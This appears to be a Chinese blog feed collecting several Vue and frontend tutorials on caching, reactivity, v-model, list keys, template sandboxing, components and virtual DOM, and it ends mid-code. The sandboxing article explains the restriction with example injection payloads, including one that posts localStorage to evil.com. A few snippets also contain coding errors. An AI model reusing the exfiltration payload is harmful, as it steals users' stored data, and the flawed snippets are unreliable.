阅读视图

发现新文章,点击刷新页面。

退出登录后头像还在?这个缓存问题坑过多少前端!

大家好,我是小杨,一个干了6年的前端老司机。今天要聊一个看似简单却经常被忽略的问题——为什么用户退出登录后,头像还显示在页面上?

这个问题我遇到过不止一次,甚至有一次差点被测试同学当成严重BUG提上来。其实背后的原因很简单,但解决起来有几个关键点需要注意。


1. 为什么退出登录后头像还在?

通常,头像不会自动消失,主要有以下几个原因:

① 缓存没清理干净

  • 浏览器缓存:图片可能被浏览器缓存了,即使退出登录,浏览器仍然显示旧的头像。
  • 前端状态没重置:Vue/React 的全局状态(如 Vuex、Redux)可能还保留着用户信息。

② 头像URL没更新

很多网站的头像是通过URL加载的,比如:

<img src="https://example.com/avatars/我的头像.jpg" />

如果退出登录后,前端没强制刷新页面或更新URL,浏览器可能仍然显示缓存中的旧图片。

③ 后端会话失效,但静态资源可访问

即使退出登录,头像图片如果放在公开可访问的路径下(如 /public/avatars/),浏览器仍然能加载到。


2. 怎么解决?5种常见方案

✅ 方案1:强制刷新页面(简单粗暴)

退出登录后,直接 window.location.reload(),让浏览器重新加载所有资源。

logout() {
  clearUserToken(); // 清除Token
  window.location.reload(); // 强制刷新
}

缺点:体验不好,页面会闪烁。

✅ 方案2:给头像URL加时间戳(推荐)

在头像URL后面加一个随机参数,让浏览器认为是新图片:

<img :src="`/avatars/${user.avatar}?t=${Date.now()}`" />

或者用 Vue 的 v-if 控制显示:

<img v-if="isLoggedIn" :src="user.avatar" />

✅ 方案3:清除前端缓存状态

如果用了 Vuex/Pinia,退出时一定要清空用户数据:

// store/user.js
actions: {
  logout() {
    this.user = null;
    localStorage.removeItem('token');
  }
}

✅ 方案4:后端返回默认头像(保险做法)

如果用户未登录,后端可以返回一个默认头像URL,而不是让前端处理缓存问题。

✅ 方案5:Service Worker 缓存控制(高级玩法)

如果你用了 PWA,可以通过 Service Worker 动态控制缓存策略:

// service-worker.js
self.addEventListener('fetch', (event) => {
  if (event.request.url.includes('avatar')) {
    event.respondWith(
      fetch(event.request, { cache: 'no-store' }) // 不缓存头像
    );
  }
});

3. 我踩过的坑:本地开发没问题,上线出BUG

有一次,我在本地测试退出登录功能,头像正常消失。但上线后,用户反馈退出后头像还在!

原因

  • 本地开发时,浏览器没缓存图片。
  • 生产环境用了 CDN,图片被缓存了,导致退出后仍然显示旧头像。

解决方案
在头像URL后面加版本号,比如:

<img :src="`/avatars/${user.avatar}?v=${user.avatarVersion}`" />

每次用户更新头像,后端都更新 avatarVersion,这样浏览器就会重新加载。


4. 终极解决方案:综合策略

最佳实践是 前端 + 后端 一起处理:

  1. 前端:退出时清空状态,加随机参数避免缓存。
  2. 后端:返回正确的 HTTP 缓存头(如 Cache-Control: no-store)。

5. 总结

  • 问题根源:浏览器缓存 + 前端状态没清理干净。

  • 解决方案

    • 加随机参数(?t=时间戳
    • 清空 Vuex/Redux 状态
    • 后端控制缓存策略
  • 高级方案:Service Worker 动态管理缓存

如果你也遇到过这个问题,欢迎在评论区分享你的解决方案! 🚀

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

Vue的'读心术':它怎么知道数据偷偷变了?

大家好,我是小杨。做了6年前端,经常被新手问:"Vue怎么知道我修改了数据?"今天就来揭秘这个"读心术"!

1. 先看个神奇现象

data() {
  return {
    message: '你好'
  }
}

当我在代码中修改this.message = '新消息'时,视图自动更新了!这背后发生了什么?

2. 核心原理:数据劫持

Vue其实是个"老六",它偷偷做了三件事:

  1. 监听对象属性(Object.defineProperty)
  2. 建立依赖收集(Dep)
  3. 通知视图更新(Watcher)

3. 手写一个极简版

我们来模拟Vue的实现:

class 简易Vue {
  constructor(options) {
    this._data = options.data
    this.劫持数据(this._data)
  }
  
  劫持数据(obj) {
    Object.keys(obj).forEach(key => {
      let value = obj[key]
      Object.defineProperty(obj, key, {
        get() {
          console.log(`${key}被读取了`)
          return value
        },
        set(newVal) {
          console.log(`${key}${value}变成了${newVal}`)
          value = newVal
          // 这里应该通知视图更新
        }
      })
    })
  }
}

// 使用
const app = new 简易Vue({
  data: { message: '我是初始值' }
})
app._data.message = '我是新值' // 控制台会打印变化!

4. 我遇到的真实案例

曾经有个bug让我排查到凌晨3点:

data() {
  return {
    user: { name: '小杨' }
  }
}

// 错误写法!
this.user.age = 25 // 视图不会更新!

原因:Vue无法检测新增的属性!必须用this.$set(this.user, 'age', 25)

5. 数组的特殊处理

Vue对数组方法做了hack:

// 这些能触发更新
this.items.push('新项目')
this.items.splice(0, 1)

// 这些不行!
this.items[0] = '修改项' // 要用Vue.set
this.items.length = 0 // 不会触发

6. Vue 3的升级版:Proxy

Vue 3改用Proxy实现,解决了Vue 2的限制:

const data = new Proxy({ message: '你好' }, {
  set(target, key, value) {
    console.log(`检测到${key}变化`)
    target[key] = value
    return true
  }
})

data.message = '再见' // 自动触发set

7. 性能优化小技巧

  1. 冻结不需要响应的数据Object.freeze
  2. 扁平化数据结构:嵌套太深影响性能
  3. 避免在模板中使用复杂表达式

8. 调试技巧

想知道谁修改了数据?在组件中添加:

watch: {
  message(newVal, oldVal) {
    console.log(`[小杨的调试] message从${oldVal}变成了${newVal}`)
  }
}

最后说句掏心窝的

理解响应式原理后,再看Vue就像开了透视挂。下次遇到"视图不更新"的问题,你就能快速定位了!

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

手把手教你造一个自己的v-model:原来双向绑定这么简单!

大家好,我是小杨,一个写了6年前端的老码农。今天想带大家揭开Vue里v-model的神秘面纱,我们自己动手实现一个简易版!

记得刚学Vue时,我觉得v-model简直是黑魔法——输入框的值怎么就自动同步到数据了呢?直到有一天我看了源码,才发现...

1. v-model的本质是什么?

一句话:语法糖!
它其实就是value属性 + @input事件的快捷写法。比如:

<input v-model="message">

等价于:

<input 
  :value="message"
  @input="message = $event.target.value"
>

2. 自己实现一个简易v-model

让我们造个轮子叫my-model

<template>
  <input 
    :value="value"
    @input="$emit('input', $event.target.value)"
  >
</template>

<script>
export default {
  props: ['value']
}
</script>

使用时:

<my-model v-model="message"></my-model>

效果:  和官方v-model一模一样!不信你试试。

3. 我踩过的坑

有次我自作聪明加了额外功能:

@input="handleInput($event.target.value)"

然后在methods里:

handleInput(val) {
  this.$emit('input', val + '后缀') // 自动加后缀
}

结果用户每输入一个字符就追加后缀,直接炸了😂。所以直接emit原始值最安全!

4. 进阶玩法:自定义组件的v-model

Vue 2.x默认使用value属性和input事件,但我们可以改!

model: {
  prop: '我喜欢的名字',  // 改用其他属性名
  event: 'change'      // 改用其他事件名
}

这样就能:

<custom-input 
  v-model="message"
  我喜欢的名字="初始值"
  @change="处理函数"
></custom-input>

5. Vue 3的小变化

Vue 3中更灵活了:

  • 默认属性名改为modelValue
  • 默认事件名改为update:modelValue
  • 支持多个v-model绑定
<MyComponent v-model:title="title" v-model:content="content" />

6. 活学活用案例

我做过一个颜色选择器组件:

<color-picker v-model="themeColor" />

内部实现:

// 当用户选颜色时
this.$emit('input', newColor)

这样父组件完全不用写监听逻辑,干净又卫生!

7. 为什么理解这个很重要?

  1. 面试常考题(我当面试官必问)
  2. 自定义表单组件必备技能
  3. 避免滥用v-model(有些场景应该用.sync)

最后送大家一句话:

"理解v-model,就是理解Vue双向绑定的第一课" —— 这是当年我的导师说的,现在送给你们。

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

v-for中key值的作用:为什么我总被要求加这个'没用的'属性?

大家好,我是小杨,一个干了6年的前端老油条。今天想和大家聊聊Vue中一个看似简单却经常被问起的问题——v-for里的key值到底有什么用。

记得我刚学Vue那会儿,每次用v-for都会收到ESLint的红色警告:"Elements in iteration expect to have 'v-bind:key' directives"。当时的我总在想:"不加不也能用吗?这玩意儿到底有啥用?"

1. key值是什么?

简单说,key就是给每个循环项一个"身份证号"。比如我们渲染一个列表:

<ul>
  <li v-for="item in items" :key="item.id">
    {{ 我 }}喜欢{{ item.name }}
  </li>
</ul>

2. 为什么需要key?

Vue需要key来高效地更新DOM。没有key时,当列表顺序变化,Vue会怎么做?它会直接就地更新元素,而不是移动它们。

举个我踩过的坑:

// 初始数据
items: [
  { id: 1, name: '苹果' },
  { id: 2, name: '香蕉' }
]

// 后来数据变成了
items: [
  { id: 2, name: '香蕉' },
  { id: 1, name: '苹果' }
]

没有key时,Vue不会交换这两个li的位置,而是直接更新内容。这会导致:

  1. 性能浪费(不必要的DOM更新)
  2. 可能的状态问题(比如输入框内容错乱)

3. key的正确打开方式

✅ 正确做法:

<li v-for="item in items" :key="item.id">

❌ 错误做法:

<li v-for="item in items" :key="index">

(用index当key和没加差不多,特别是列表会变化时)

4. 我总结的key使用原则

  1. 唯一性:key应该在当前列表中唯一
  2. 稳定性:key不应该随时间改变(别用随机数!)
  3. 可预测性:相同内容应该生成相同key

5. 实际工作中的经验

有次我做了一个复杂的列表组件,每个项都有内部状态。最初偷懒用了index当key,结果用户排序时各种bug。后来老老实实改用item.id,问题迎刃而解。

6. 什么时候可以不加key?

理论上说,纯静态列表(不会排序、过滤、修改)可以不加。但我的建议是:永远加上key!这就像系安全带,平时觉得麻烦,关键时刻能救命。

最后

key值看似是个小细节,却体现了Vue的响应式原理。理解它不仅能避免bug,还能写出更高性能的代码。希望我的经验对你有帮助!

小贴士:如果你也在纠结key的问题,记住这句话——"给Vue一个靠谱的身份证,它还你一个稳定的列表渲染"。

⭐  写在最后

请大家不吝赐教,在下方评论或者私信我,十分感谢🙏🙏🙏.

✅ 认为我某个部分的设计过于繁琐,有更加简单或者更高逼格的封装方式

✅ 认为我部分代码过于老旧,可以提供新的API或最新语法

✅ 对于文章中部分内容不理解

✅ 解答我文章中一些疑问

✅ 认为某些交互,功能需要优化,发现BUG

✅ 想要添加新功能,对于整体的设计,外观有更好的建议

✅ 一起探讨技术加qq交流群:906392632

最后感谢各位的耐心观看,既然都到这了,点个 👍赞再走吧!

原来Vue模版里用不了window是这回事

想起以前在项目中遇到了一个问题,想在 Vue 模板里直接用 {{ window.location.href }} 获取当前页面地址,结果发现根本不行!但是在 script 里面用 console.log(window.location.href) 却完全没问题,当时为了快速业务开发,也没想着去研究为什么在模版访问不了,只是换了种解决方案,那刚好现在有时间了,来深入研究一下

这就奇怪了,明明都是 JavaScript,为什么在模板里就不行呢?不知道大家是否也有过这样的疑问呢?

带着这个疑问,我深挖了一下 Vue 的源码和官方文档,发现这背后的原理还挺有意思的。今天就来跟大家分享一下我的发现

先说结论

Vue 模板运行在一个受限的沙箱环境中,只能访问组件的数据和一些被允许的全局变量,window 不在这个"白名单"里。

这不是 bug,是 Vue 故意这么设计的!

30 秒看懂差别

<template>
  <!-- ❌ 这些都不行 -->
  <div>{{ window.location.href }}</div>
  <div>{{ document.title }}</div>
  <div>{{ console.log('test') }}</div>
  
  <!-- ✅ 这些可以 -->
  <div>{{ Math.random() }}</div>
  <div>{{ Date.now() }}</div>
  <div>{{ JSON.stringify(user) }}</div>
</template>

<script>
export default {
  data() {
    return {
      // ✅ 在 script 里随便用
      currentUrl: window.location.href,
      pageTitle: document.title
    }
  },
  mounted() {
    // ✅ 这里是完整的 JavaScript 环境
    console.log(window.navigator.userAgent)
    localStorage.setItem('test', 'value')
  }
}
</script>

你看,同样是 JavaScript 代码,在不同地方的"待遇"完全不一样。

Vue 官方是怎么说的?

我去翻了 Vue 的官方文档,找到了这段话:

Template expressions are sandboxed and only have access to a restricted list of globals.

翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。

还有一个更有意思的发现,在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:

这是设计决定,不是 bug。

模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。

那接着往下看,vue它是怎么处理的

深挖源码,看看 Vue 到底做了什么

既然官方这么说,那我就去源码里看看 Vue 到底是怎么实现这个限制的。

白名单机制

在 Vue 3 的源码里,我找到了这个白名单:

// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
const GLOBALS_WHITE_LISTED = 
  'Infinity,undefined,NaN,isFinite,isNaN,' +
  'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
  'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'

看到了吧,MathDateJSON 这些都在白名单里,所以模板里可以用。但是 windowdocumentconsole 这些就没有,所以用不了。

代理机制

Vue 是通过 Proxy 来实现这个限制的:

// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
  get({ _: instance }, key) {
    // 查找顺序很重要!
  
    // 1️⃣ 先找组件自己的属性(data、computed、methods、props)
    if (key[0] !== '$') {
      // 这里会查找组件实例的属性
    }
  
    // 2️⃣ 再找全局属性($route、$router 等)
    const publicGetter = publicPropertiesMap[key]
    if (publicGetter) {
      return publicGetter(instance)
    }
  
    // 3️⃣ 最后检查白名单
    if (isGloballyWhitelisted(key)) {
      return (window as any)[key]  // 只有白名单里的才能访问 window
    }
  
    // 4️⃣ 其他情况就报警告
    if (process.env.NODE_ENV !== 'production') {
      warn(`Property "${key}" was accessed but is not defined.`)
    }
    return undefined
  }
}

这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。

为什么要这么设计?

刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。

1. 安全考虑

最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:

// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}

这就太危险了!

我还找到一个真实的安全案例:Vue.js Serverside Template XSS,展示了如果没有这种限制会发生什么。

2. 性能考虑

限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。

3. 代码质量

强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。

实际项目中怎么办?

说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:

方法一:通过 computed 属性(推荐)

computed: {
  currentUrl() {
    return window.location.href
  },
  pageTitle() {
    return document.title
  },
  isOnline() {
    return navigator.onLine
  }
}

方法二:通过 methods

methods: {
  openWindow(url) {
    window.open(url, '_blank')
  },
  copyToClipboard(text) {
    navigator.clipboard.writeText(text)
  }
}

方法三:全局属性注册(适合系统级需求)

// main.js
const app = createApp(App)

app.config.globalProperties.$window = window
app.config.globalProperties.$document = document

// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}

方法四:Composition API 的方式

// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useWindow() {
  const width = ref(window.innerWidth)
  const height = ref(window.innerHeight)
  
  const updateSize = () => {
    width.value = window.innerWidth
    height.value = window.innerHeight
  }
  
  onMounted(() => {
    window.addEventListener('resize', updateSize)
  })
  
  onUnmounted(() => {
    window.removeEventListener('resize', updateSize)
  })
  
  return { width, height }
}

一些有趣的发现

在研究这个问题的过程中,我还发现了一些有意思的东西:

为什么 Math.random() 可以用?

因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。

React 也有这个限制吗?

React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。

总结

Vue 模板的作用域限制看起来像是一个"坑",但实际上是一个精心设计的安全特性。它强制我们:

  1. 把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
  2. 提高代码质量 - 避免在模板里写复杂的表达式
  3. 保证安全性 - 防止恶意代码注入
  4. 优化性能 - 减少不必要的全局变量查找

虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。

记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。


emm 狂野将使他们感到畏惧

Vue 组件系统深度解析

Vue 组件系统深度解析

一、组件系统的核心概念

1.1 什么是组件

组件是Vue应用的基本构建单元,它是可复用的Vue实例,具有:

  • 自己的模板
  • 自己的状态(data)
  • 自己的方法
  • 完整的生命周期

1.2 组件化开发的优势

  • 可复用性:一次开发,多处使用
  • 可维护性:代码组织更清晰
  • 可测试性:独立单元易于测试
  • 协作性:团队并行开发不同组件
  • 封装性:隐藏实现细节,暴露清晰接口

二、组件创建与注册

2.1 组件定义方式

单文件组件(SFC) - 推荐方式
<!-- MyComponent.vue -->
<template>
  <div class="my-component">
    <h2>{{ title }}</h2>
    <slot></slot>
  </div>
</template>

<script>
export default {
  props: {
    title: {
      type: String,
      default: '默认标题'
    }
  }
}
</script>

<style scoped>
.my-component {
  border: 1px solid #eee;
  padding: 20px;
}
</style>
JavaScript对象方式
const MyComponent = {
  template: `
    <div class="my-component">
      <h2>{{ title }}</h2>
      <slot></slot>
    </div>
  `,
  props: {
    title: String
  }
}

2.2 组件注册方式

全局注册
// main.js
import { createApp } from 'vue'
import App from './App.vue'
import MyComponent from './components/MyComponent.vue'

const app = createApp(App)
app.component('MyComponent', MyComponent)
app.mount('#app')
局部注册
<script>
import MyComponent from './components/MyComponent.vue'

export default {
  components: {
    MyComponent
  }
}
</script>

三、组件通信机制

3.1 Props - 父传子

<!-- 父组件 -->
<template>
  <ChildComponent :message="parentMessage" />
</template>

<!-- 子组件 -->
<script>
export default {
  props: {
    message: {
      type: String,
      required: true
    }
  }
}
</script>

3.2 自定义事件 - 子传父

<!-- 子组件 -->
<script>
export default {
  methods: {
    handleClick() {
      this.$emit('child-event', eventData)
    }
  }
}
</script>

<!-- 父组件 -->
<template>
  <ChildComponent @child-event="handleChildEvent" />
</template>

3.3 v-model双向绑定

Vue 3实现:

<!-- 子组件 -->
<script>
export default {
  props: ['modelValue'],
  emits: ['update:modelValue'],
  methods: {
    updateValue(newValue) {
      this.$emit('update:modelValue', newValue)
    }
  }
}
</script>

<!-- 父组件 -->
<CustomInput v-model="inputValue" />

3.4 Provide/Inject - 跨层级通信

// 祖先组件
export default {
  provide() {
    return {
      theme: this.theme
    }
  }
}

// 后代组件
export default {
  inject: ['theme']
}

3.5 其他通信方式

  • Event Bus:小型项目适用
  • Vuex/Pinia:状态管理库
  • refs:直接访问组件实例
  • Reactive State:共享响应式对象

四、高级组件特性

4.1 插槽系统(Slot)

基本插槽
<!-- 子组件 -->
<div>
  <slot>默认内容</slot>
</div>

<!-- 父组件 -->
<ChildComponent>
  <p>自定义内容</p>
</ChildComponent>
具名插槽

主要内容

<template #footer>

页脚

作用域插槽
<!-- 子组件 -->
<ul>
  <li v-for="(item, index) in items" :key="item.id">
    <slot :item="item" :index="index"></slot>
  </li>
</ul>

<!-- 父组件 -->
<ChildComponent>
  <template v-slot:default="slotProps">
    <span>{{ slotProps.index }}. {{ slotProps.item.name }}</span>
  </template>
</ChildComponent>

4.2 动态组件

<component :is="currentComponent"></component>

4.3 异步组件

const AsyncComponent = defineAsyncComponent(() =>
  import('./components/AsyncComponent.vue')
)

4.4 递归组件

<template>
  <div>
    {{ node.name }}
    <template v-if="node.children">
      <tree-node 
        v-for="child in node.children"
        :node="child"
      />
    </template>
  </div>
</template>

<script>
export default {
  name: 'TreeNode', // 必须指定name才能递归
  props: {
    node: Object
  }
}
</script>

五、组件生命周期

5.1 生命周期图示(Vue 3)

setup()
  ↓
beforeCreate
  ↓
created
  ↓
beforeMount
  ↓
mounted
  ↓
beforeUpdate
  ↓
updated
  ↓
beforeUnmount
  ↓
unmounted

5.2 Composition API 生命周期

import { onMounted, onUpdated, onUnmounted } from 'vue'

export default {
  setup() {
    onBeforeMount(() => {
      console.log('在组件被挂载之前被调用')
    })

    onMounted(() => {
      console.log('组件已挂载')
    })

    onBeforeUpdate(() => {
      console.log('在组件即将因为响应式状态变更而更新其 DOM 树之前调用')
    })
  
    onUpdated(() => {
      console.log('组件已更新')
    })

    onBeforeUnmount(() => {
      console.log('在组件实例被卸载之前调用')
    })
  
    onUnmounted(() => {
      console.log('组件已卸载')
    })

    onErrorCaptured(() => console.log('错误捕获'))
  }
}

六、组件设计模式

6.1 容器组件 vs 展示组件

特点 容器组件 展示组件
目的 管理业务逻辑 展示UI
数据源 状态管理、API Props
复用性
示例 用户列表页 用户卡片

6.2 高阶组件(HOC)

function withLoading(WrappedComponent) {
  return {
    data() {
      return { isLoading: true }
    },
    mounted() {
      setTimeout(() => {
        this.isLoading = false
      }, 2000)
    },
    render() {
      return this.isLoading 
        ? <div>Loading...</div>
        : <WrappedComponent {...this.$attrs} />
    }
  }
}

6.3 渲染函数 & JSX

export default {
  render() {
    return h('div', { class: 'container' }, [
      h('h1', '标题'),
      this.$slots.default()
    ])
  }
}

// JSX版本
export default {
  render() {
    return (
      <div class="container">
        <h1>标题</h1>
        {this.$slots.default()}
      </div>
    )
  }
}

七、组件最佳实践

7.1 命名规范

  • 基础组件BaseButton.vue
  • 单例组件TheHeader.vue
  • 功能组件UserList.vue
  • 紧密耦合TodoItem.vue (与TodoList配合)

7.2 文件结构

src/
├── components/
│   ├── base/          # 基础UI组件
│   │   ├── BaseButton.vue
│   │   ├── BaseInput.vue
│   ├── layout/        # 布局组件
│   │   ├── AppHeader.vue
│   │   ├── AppFooter.vue
│   ├── features/      # 功能组件
│   │   ├── UserProfile.vue
│   │   ├── ProductCard.vue
│   └── utils/         # 工具组件
│       ├── LoadingSpinner.vue
│       └── Tooltip.vue
├── views/             # 页面级组件
│   ├── HomeView.vue
│   ├── AboutView.vue

7.3 组件设计原则

  1. 单一职责:每个组件只做一件事
  2. 受控组件:通过props控制行为
  3. 明确接口:定义清晰的props和emits
  4. 无副作用:避免直接修改props
  5. 样式封装:使用scoped CSS或CSS Modules

八、组件性能优化

8.1 渲染优化

<!-- 静态内容优化 -->
<div v-once>{{ staticContent }}</div>

<!-- Vue 3 模板子树优化 -->
<div v-memo="[valueA, valueB]">
  <!-- 仅当valueA或valueB变化时重新渲染 -->
</div>

8.2 懒加载组件

import { defineAsyncComponent } from 'vue'

const HeavyComponent = defineAsyncComponent(() => 
  import('./HeavyComponent.vue')
)

8.3 虚拟滚动

<RecycleScroller
  :items="largeList"
  :item-size="50"
  key-field="id"
>
  <template v-slot="{ item }">
    <div>{{ item.name }}</div>
  </template>
</RecycleScroller>

九、组件测试

9.1 单元测试示例

import { mount } from '@vue/test-utils'
import Counter from './Counter.vue'

test('increments counter when clicked', async () => {
  const wrapper = mount(Counter)
  await wrapper.find('button').trigger('click')
  expect(wrapper.find('span').text()).toBe('1')
})

9.2 测试重点

  1. Props验证:测试不同props下的行为
  2. 事件触发:验证emit事件
  3. 插槽内容:测试不同插槽内容
  4. 用户交互:模拟用户操作
  5. 边界情况:测试极端输入值

十、组件生态系统

10.1 流行UI框架

  1. Element Plus:企业级中后台
  2. Vuetify:Material Design实现
  3. Quasar:全功能解决方案
  4. Ant Design Vue:企业级设计系统
  5. Naive UI:TypeScript友好

10.2 组件开发工具

  1. Storybook:组件开发环境
  2. Vite:极速开发体验
  3. Vue DevTools:调试神器
  4. Vitest:高性能测试框架

十一、Vue 2 vs Vue 3 组件系统对比

特性 Vue 2 Vue 3
API风格 Options API Composition API + Options API
组件模型 单根节点 多根节点支持
v-model 单个 多个支持
生命周期 beforeDestroy beforeUnmount
片段 不支持 支持
Teleport 支持
Suspense 支持

十二、实战案例:可复用表单组件

<!-- BaseForm.vue -->
<template>
  <form @submit.prevent="handleSubmit" class="form">
    <slot name="header" :title="title"></slot>
  
    <div class="form-body">
      <slot :values="formValues"></slot>
    </div>
  
    <div class="form-actions">
      <slot name="footer" :submit="submitForm" :reset="resetForm">
        <button type="button" @click="resetForm">重置</button>
        <button type="submit">提交</button>
      </slot>
    </div>
  </form>
</template>

<script>
import { reactive } from 'vue'

export default {
  props: {
    title: String,
    initialValues: Object
  },
  
  setup(props) {
    const formValues = reactive({ ...props.initialValues })
  
    const resetForm = () => {
      Object.assign(formValues, props.initialValues)
    }
  
    const submitForm = () => {
      // 表单验证逻辑
      return formValues
    }
  
    return {
      formValues,
      resetForm,
      submitForm
    }
  },
  
  methods: {
    handleSubmit() {
      const isValid = this.validateForm()
      if (isValid) {
        this.$emit('submit', this.formValues)
      }
    },
    validateForm() {
      // 验证逻辑
      return true
    }
  }
}
</script>

十三、组件系统未来趋势

  1. 更好的TypeScript支持:增强类型推断和类型安全
  2. 渐进式水合(Progressive Hydration):优化SSR性能
  3. Islands架构:混合静态和动态内容
  4. 无头组件(Headless Components):分离逻辑与UI
  5. AI辅助组件生成:基于设计稿自动生成组件

总结

Vue组件系统是现代前端开发的基石,其核心价值在于:

  • 模块化:分解复杂应用为可管理单元
  • 复用性:减少重复代码,提高开发效率
  • 可维护性:清晰的边界降低维护成本
  • 可组合性:通过组合创建复杂UI

掌握组件系统的关键点:

  1. 理解组件通信的各种方式及其适用场景
  2. 合理使用插槽系统创建灵活组件
  3. 遵循组件设计原则和最佳实践
  4. 利用性能优化技术提升用户体验
  5. 保持对Vue生态系统发展的关注

随着Vue 3和Composition API的普及,组件系统变得更加灵活和强大。通过深入理解和实践,开发者可以构建出高质量、可维护的Vue应用。

“虚拟DOM”到底是什么?我们用300行代码来实现一个

image.png

提到现代前端框架,比如React、Vue,你一定听过“虚拟DOM”(Virtual DOM)这个词。它被认为是提升性能的关键所在,是框架设计的核心思想之一。

但是,虚拟DOM到底是什么?它为什么能带来性能提升?它内部又是如何工作的?

与其停留在概念层面,不如我们一起动手,用大约300行左右的JavaScript代码,实现一个最简化的“虚拟DOM”,来揭开它。

什么是“虚拟DOM”?

简单来说,虚拟DOM就是一个用普通的JavaScript对象(plain JavaScript objects)来描述真实DOM结构的“轻量级副本”。

想象一下,真实的DOM就像一棵庞大而复杂的树,包含各种HTML元素、属性、事件等等。直接操作真实DOM的代价是昂贵的,因为这会触发浏览器的重排(Layout)和重绘(Paint),影响性能。

而虚拟DOM,就像是存在于内存中的一个“草稿”,我们可以在这个“草稿”上进行各种修改,最后再将“修改稿”批量更新到真实的DOM上。

用JavaScript对象描述DOM

我们的“虚拟DOM”需要能够表示HTML元素及其属性。我们可以用一个简单的JavaScript对象来描述一个DOM节点:

比如,一个这样的真实DOM节点:

<div id="app" class="container">
    <h1>Hello, Virtual DOM!</h1>
</div>

可以用这样的虚拟DOM对象来表示:

const virtualDom = {
  type: 'div',
  props: {
    id: 'app',
    className: 'container'
  },
  children: [{
    type: 'h1',
    props: {},
    children: ['Hello, Virtual DOM\!']
  }]
};

可以看到,每个虚拟DOM节点都有以下几个关键属性:

  • type: 节点的标签名(比如 'div', 'h1')。
  • props: 一个包含节点属性的对象(比如 { id: 'app', className: 'container' })。
  • children: 一个包含子节点的数组。子节点可以是其他的虚拟DOM对象,也可以是简单的文本内容(字符串)。

创建真实DOM节点

现在,我们需要一个函数,能将我们的虚拟DOM对象“渲染”成真实的DOM节点:

function createElement(vnode) {
  if (typeof vnode === 'string') {
    return document.createTextNode(vnode);
  }
  const $el = document.createElement(vnode.type);
  for (const key in vnode.props) {
    if (vnode.props.hasOwnProperty(key)) {
      $el.setAttribute(key, vnode.props(key));
    }
  }
  vnode.children.map(createElement).forEach($el.appendChild.bind($el));
  return $el;
}

这个 createElement 函数:

  • 如果 vnode 是字符串,直接创建一个文本节点。
  • 否则,创建一个对应 vnode.type 的HTML元素。
  • 遍历 vnode.props,将属性设置到创建的元素上。
  • 递归地处理 vnode.children,将它们创建成真实的DOM节点,并添加到当前元素的子节点中。

现在,如果我们执行 createElement(virtualDom),我们就能得到对应的真实DOM结构。

对比两棵虚拟DOM树(Diffing)

虚拟DOM的核心价值在于“按需更新”。当数据发生变化时,我们不是直接操作真实DOM,而是先创建一个新的虚拟DOM树,然后将新的虚拟DOM树与旧的虚拟DOM树进行比较(diff),找出它们之间的差异,最后只更新那些真正发生变化的部分到真实DOM上。

这是最复杂,也是最关键的一步。我们的简化版Diff算法会关注以下几个方面:

function diff(oldVnode, newVnode) {
  // 1. 类型不同,直接替换
  if (oldVnode.type !== newVnode.type) {
    return {
      type: 'REPLACE',
      newNode: createElement(newVnode)
    };
  }

  // 2. 文本节点内容不同,更新文本
  if (typeof oldVnode === 'string' && typeof newVnode === 'string' && oldVnode !== newVnode) {
    return {
